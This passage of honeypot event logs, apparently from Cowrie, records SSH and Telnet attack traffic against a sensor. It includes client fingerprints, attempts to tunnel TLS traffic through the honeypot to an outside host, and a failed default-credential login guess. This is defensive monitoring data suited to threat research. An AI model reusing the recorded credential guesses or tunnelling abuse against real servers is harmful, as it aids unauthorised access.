\\x03\\x15\\x87\\x1b\\xd4g\\xbfX\\xd1Q\\xb8\\xd5D\\xee\\x1f\\x1f$\\xfa\\xe3\\x80\\x9a\\xd4\\x12\\xcf\\x98\\xe2\\x1c\\xb34)\\xbc0\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.695429Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.752813Z","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.756442Z","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.814212Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd58TjR\\xe4\\x96T\\xd2\\x94\\x0c\\xbc\\xecz=\\xb9\\xfbS\\xe3\\x1b\\xeaA\\xc5\\x80\\xd1\\x97\\xb87\\xb8o\\xbe\\x95 \\xfc;)%\\xe1fL\\xc7/\\x05?\\xc0\\xd2M\\x12\\xbbR\\x93V\\xe8\\x13\\xcf\\xc8\\xea\\\\7t\\xb6\\xea\\x1bO\\xd6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8b:\\x88wy\\xabPjr\\xc5\\xdfS\\x1b\\x9d\\xf3\\x12f\\x9c\\x07\\xd8\\xb0\\xdc\\xf0\\xe8^\\xea\\xea\\xd2\\xdb\\x1f\\x9dX\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd58TjR\\xe4\\x96T\\xd2\\x94\\x0c\\xbc\\xecz=\\xb9\\xfbS\\xe3\\x1b\\xeaA\\xc5\\x80\\xd1\\x97\\xb87\\xb8o\\xbe\\x95 \\xfc;)%\\xe1fL\\xc7/\\x05?\\xc0\\xd2M\\x12\\xbbR\\x93V\\xe8\\x13\\xcf\\xc8\\xea\\\\7t\\xb6\\xea\\x1bO\\xd6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8b:\\x88wy\\xabPjr\\xc5\\xdfS\\x1b\\x9d\\xf3\\x12f\\x9c\\x07\\xd8\\xb0\\xdc\\xf0\\xe8^\\xea\\xea\\xd2\\xdb\\x1f\\x9dX\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.817694Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.822021Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03#\\xfcC\\xcc\\xd6\\x15C\\xdd\\x9aUF\\xd9\\xf4(\\t\\xe1v\\x03Q\\x13\\x9a\\x1e\\x06\\xbdG\\xcc\\xa0@\\xd8\\x98j\\x11 \\x16i\\x0c-\\xc6\\xeft\\xec\\x01\\xb2\\xfe\\x93M\\xf4L(Q\\xc2\\xef\\x0c\\x91\\x96 dU\\xfd5.\\xd9\\xa0\\x94\\x9a\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x05\\x83\\xf9\\x88\\xdb\\x88l\\xad\\xa3\\xc00<\\xdb\\xa9K\\t\\xcf\\x94\\x8b\\xf9\\xf7y|\\xf0\\x8cb2\\xb6RL\\xc0\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":5,"message":"discarded direct-tcp forward request 5 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03#\\xfcC\\xcc\\xd6\\x15C\\xdd\\x9aUF\\xd9\\xf4(\\t\\xe1v\\x03Q\\x13\\x9a\\x1e\\x06\\xbdG\\xcc\\xa0@\\xd8\\x98j\\x11 \\x16i\\x0c-\\xc6\\xeft\\xec\\x01\\xb2\\xfe\\x93M\\xf4L(Q\\xc2\\xef\\x0c\\x91\\x96 dU\\xfd5.\\xd9\\xa0\\x94\\x9a\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x05\\x83\\xf9\\x88\\xdb\\x88l\\xad\\xa3\\xc00<\\xdb\\xa9K\\t\\xcf\\x94\\x8b\\xf9\\xf7y|\\xf0\\x8cb2\\xb6RL\\xc0\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.824094Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:38.166576Z","src_ip":"91.92.40.36","session":"3565491a322a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:38.169963Z","src_ip":"91.92.40.36","session":"3565491a322a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:38.295479Z","src_ip":"91.92.40.36","session":"b104c0c1992d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":33350,"dst_ip":"10.17.0.5","dst_port":23,"session":"77959bfb253a","protocol":"telnet","message":"New connection: 94.23.66.112:33350 (10.17.0.5:23) [session: 77959bfb253a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:38.546635Z"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:39.721440Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lena","password":"lena","message":"login attempt [lena/lena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:42.892721Z","src_ip":"91.92.40.36","session":"3565491a322a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":54666,"dst_ip":"10.17.0.5","dst_port":22,"session":"e511bd8d6ff5","protocol":"ssh","message":"New connection: 173.208.188.210:54666 (10.17.0.5:22) [session: e511bd8d6ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:44.016039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:44.019549Z","src_ip":"173.208.188.210","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:44.178118Z","src_ip":"173.208.188.210","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":57225,"dst_ip":"159.203.135.109","dst_port":22,"session":"28f17679d94c","protocol":"ssh","message":"New connection: 41.90.100.147:57225 (159.203.135.109:22) [session: 28f17679d94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:44.426132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:44.430056Z","src_ip":"41.90.100.147","session":"28f17679d94c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:44.646358Z","src_ip":"41.90.100.147","session":"28f17679d94c","protocol":"ssh"}
